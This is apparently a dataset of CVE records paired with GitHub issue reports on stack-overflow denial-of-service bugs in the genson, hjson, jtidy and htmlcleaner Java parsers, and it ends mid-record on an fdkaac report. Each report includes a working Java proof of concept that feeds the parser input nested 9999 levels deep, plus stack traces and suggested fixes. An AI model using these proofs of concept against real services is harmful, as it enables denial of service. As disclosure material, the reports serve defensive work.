<dependency>
<groupId>com.progsbase.libraries</groupId>
<artifactId>JSON</artifactId>
<version>0.4.0</version>
</dependency>
```
```java
import com.progsbase.libraries.JSON.JSONObjectReader;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JSONObjectReader.readJSON(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by progsbase parsing of untrusted JSON String | https://api.github.com/repos/InductiveComputerScience/pbJson/issues/2/comments | 0 | 2023-05-25T06:20:29Z | 2023-05-25T06:20:29Z | https://github.com/InductiveComputerScience/pbJson/issues/2 | 1,725,163,305 | 2 | 5,257 |
CVE-2023-34617 | 2023-06-14T14:15:10.233 | An issue was discovered genson thru 1.6 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/owlike/genson/issues/191"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/owlike/genson/issues/191"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:genson_project:genson:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B249C707-CB88-40D4-BA9D-0A49E78759D7",
"versionEndExcluding": null,
"versionEndIncluding": "1.6",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/owlike/genson/issues/191 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"owlike",
"genson"
] | # Stack overflow error caused by genson parsing of untrusted JSON String
## Description
Using genson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at com.owlike.genson.stream.JsonReader.begin(JsonReader.java:409)
at com.owlike.genson.stream.JsonReader.beginArray(JsonReader.java:149)
at com.owlike.genson.convert.DefaultConverters$CollectionConverter.deserialize(DefaultConverters.java:172)
at com.owlike.genson.convert.DefaultConverters$CollectionConverter.deserialize(DefaultConverters.java:159)
at com.owlike.genson.convert.NullConverterFactory$NullConverterWrapper.deserialize(NullConverterFactory.java:77)
at com.owlike.genson.Genson.deserialize(Genson.java:382)
at com.owlike.genson.convert.DefaultConverters$UntypedConverterFactory$UntypedConverter.deserialize(DefaultConverters.java:997)
at com.owlike.genson.convert.NullConverterFactory$NullConverterWrapper.deserialize(NullConverterFactory.java:77)
at com.owlike.genson.convert.DefaultConverters$CollectionConverter.deserialize(DefaultConverters.java:176)
at com.owlike.genson.convert.DefaultConverters$CollectionConverter.deserialize(DefaultConverters.java:159)
at com.owlike.genson.convert.NullConverterFactory$NullConverterWrapper.deserialize(NullConverterFactory.java:77)
at com.owlike.genson.Genson.deserialize(Genson.java:382)
```
## PoC
```xml
<dependency>
<groupId>com.owlike</groupId>
<artifactId>genson</artifactId>
<version>1.6</version>
</dependency>
```
```java
import com.owlike.genson.Genson;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
// 创建 Genson 实例
Genson genson = new Genson();
// 模糊测试 JSON 解析
Object parsedObject = genson.deserialize(jsonString, Object.class);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by genson parsing of untrusted JSON String | https://api.github.com/repos/owlike/genson/issues/191/comments | 3 | 2023-05-26T08:23:40Z | 2023-08-31T11:29:47Z | https://github.com/owlike/genson/issues/191 | 1,727,146,434 | 191 | 5,258 |
CVE-2023-34620 | 2023-06-14T14:15:10.277 | An issue was discovered hjson thru 3.0.0 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hjson/hjson-java/issues/24"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hjson/hjson-java/issues/24"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:hjson_project:hjson:*:*:*:*:*:*:*:*",
"matchCriteriaId": "BC37294D-79CC-42A3-8A85-F35E0677ADF5",
"versionEndExcluding": null,
"versionEndIncluding": "3.0.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/hjson/hjson-java/issues/24 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"hjson",
"hjson-java"
] | # Stack overflow error caused by hjson parsing of untrusted JSON String
## Description
Using hjson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at org.hjson.HjsonParser.read(HjsonParser.java:454)
at org.hjson.HjsonParser.skipWhiteSpace(HjsonParser.java:411)
at org.hjson.HjsonParser.readObject(HjsonParser.java:185)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
at org.hjson.HjsonParser.readValue(HjsonParser.java:119)
at org.hjson.HjsonParser.readObject(HjsonParser.java:199)
```
## PoC
```xml
<dependency>
<groupId>org.hjson</groupId>
<artifactId>hjson</artifactId>
<version>3.0.0</version>
</dependency>
```
```java
import org.hjson.JsonValue;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = "{" + _nestedDoc(TOO_DEEP_NESTING, "a : { ", "} ", "") + "}";
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JsonValue.readHjson(jsonString);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by hjson parsing of untrusted JSON String (2) | https://api.github.com/repos/hjson/hjson-java/issues/24/comments | 1 | 2023-05-29T03:15:06Z | 2023-08-17T22:23:09Z | https://github.com/hjson/hjson-java/issues/24 | 1,729,937,793 | 24 | 5,259 |
CVE-2023-34623 | 2023-06-14T14:15:10.317 | An issue was discovered jtidy thru r938 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/trajano/jtidy/issues/4"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/trajano/jtidy/issues/4"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jtidy_project:jtidy:*:*:*:*:*:*:*:*",
"matchCriteriaId": "00C679F6-F718-42E9-A94A-5A10E1B26D35",
"versionEndExcluding": null,
"versionEndIncluding": "r938",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/trajano/jtidy/issues/4 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"trajano",
"jtidy"
] | # Stack overflow error caused by jtidy parsing of untrusted Html String
## Description
Using jtidy to parse untrusted Html String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.nio.charset.Charset.lookup(Charset.java:457)
at java.base/java.nio.charset.Charset.isSupported(Charset.java:503)
at java.base/java.lang.StringCoding.lookupCharset(StringCoding.java:101)
at java.base/java.lang.StringCoding.decode(StringCoding.java:234)
at java.base/java.lang.String.<init>(String.java:467)
at org.w3c.tidy.TidyUtils.getString(TidyUtils.java:658)
at org.w3c.tidy.Lexer.getToken(Lexer.java:2343)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2051)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
at org.w3c.tidy.ParserImpl$ParseBlock.parse(ParserImpl.java:2464)
at org.w3c.tidy.ParserImpl.parseTag(ParserImpl.java:203)
```
## PoC
```xml
<dependency>
<groupId>net.sf.jtidy</groupId>
<artifactId>jtidy</artifactId>
<version>r938</version>
</dependency>
```
```java
import org.w3c.tidy.Tidy;
import java.io.StringReader;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "<div>", "</div>", "");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String htmlData = TOO_DEEP_DOC;
try (StringReader stringReader = new StringReader(htmlData);){
Tidy tidy = new Tidy();
tidy.parse(stringReader, System.out);
} catch (Exception e) {
}
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by jtidy parsing of untrusted Html String | https://api.github.com/repos/trajano/jtidy/issues/4/comments | 4 | 2023-06-06T07:01:45Z | 2024-09-02T15:45:18Z | https://github.com/trajano/jtidy/issues/4 | 1,743,218,412 | 4 | 5,260 |
CVE-2023-34624 | 2023-06-14T14:15:10.360 | An issue was discovered htmlcleaner thru = 2.28 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/amplafi/htmlcleaner/issues/13"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00007.html"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5471"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/amplafi/htmlcleaner/issues/13"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00007.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5471"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:htmlcleaner_project:htmlcleaner:*:*:*:*:*:*:*:*",
"matchCriteriaId": "FE2821CC-7FBE-42A3-95CF-84AB7843EACD",
"versionEndExcluding": null,
"versionEndIncluding": "2.28",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/amplafi/htmlcleaner/issues/13 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"amplafi",
"htmlcleaner"
] | # Stack overflow error caused by htmlcleaner parsing of untrusted HTML String
## Description
Using htmlcleaner to parse untrusted HTML String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.util.HashMap$KeyIterator.<init>(HashMap.java:1531)
at java.base/java.util.HashMap$KeySet.iterator(HashMap.java:913)
at java.base/java.util.HashSet.iterator(HashSet.java:173)
at org.htmlcleaner.HtmlCleaner.addIfNeededToPruneSet(HtmlCleaner.java:1339)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:332)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
at org.htmlcleaner.HtmlCleaner.markNodesToPrune(HtmlCleaner.java:335)
```
## PoC
```xml
<dependency>
<groupId>net.sourceforge.htmlcleaner</groupId>
<artifactId>htmlcleaner</artifactId>
<version>2.28</version>
</dependency>
```
```java
import org.htmlcleaner.HtmlCleaner;
import org.htmlcleaner.TagNode;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "<div>", "</div>", "");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String htmlData = TOO_DEEP_DOC;
try {
// 模糊测试组件的风险接口
HtmlCleaner cleaner = new HtmlCleaner();
TagNode root = cleaner.clean(htmlData);
// 对解析结果进行进一步操作
// ...
} catch (Exception e) {
// 处理异常
}
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027)) | Stack overflow error caused by htmlcleaner parsing of untrusted HTML String | https://api.github.com/repos/amplafi/htmlcleaner/issues/13/comments | 3 | 2023-06-06T07:09:03Z | 2023-06-19T19:01:19Z | https://github.com/amplafi/htmlcleaner/issues/13 | 1,743,229,731 | 13 | 5,261 |
CVE-2023-34823 | 2023-06-14T14:15:10.750 | fdkaac before 1.0.5 was discovered to contain a stack overflow in read_callback function in src/main.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/nu774/fdkaac/issues/55"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/nu774/fdkaac/issues/55"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fdkaac_project:fdkaac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "97D36EF0-479D-41D1-9AC7-D67FAEE70E5B",
"versionEndExcluding": "1.0.5",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/nu774/fdkaac/issues/55 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"nu774",
"fdkaac"
] | Hi, developers of fdkaac:
In the test of the binary fdkaac instrumented with ASAN. There is a Heap-buffer-overflow vulnerability in fdkaac, commit is [03c3c60](https://github.com/nu774/fdkaac/commit/03c3c60191682177426213adb5d6643e05e82bd4) which is also the master branch.
Here is the ASAN mode output:
```
=================================================================
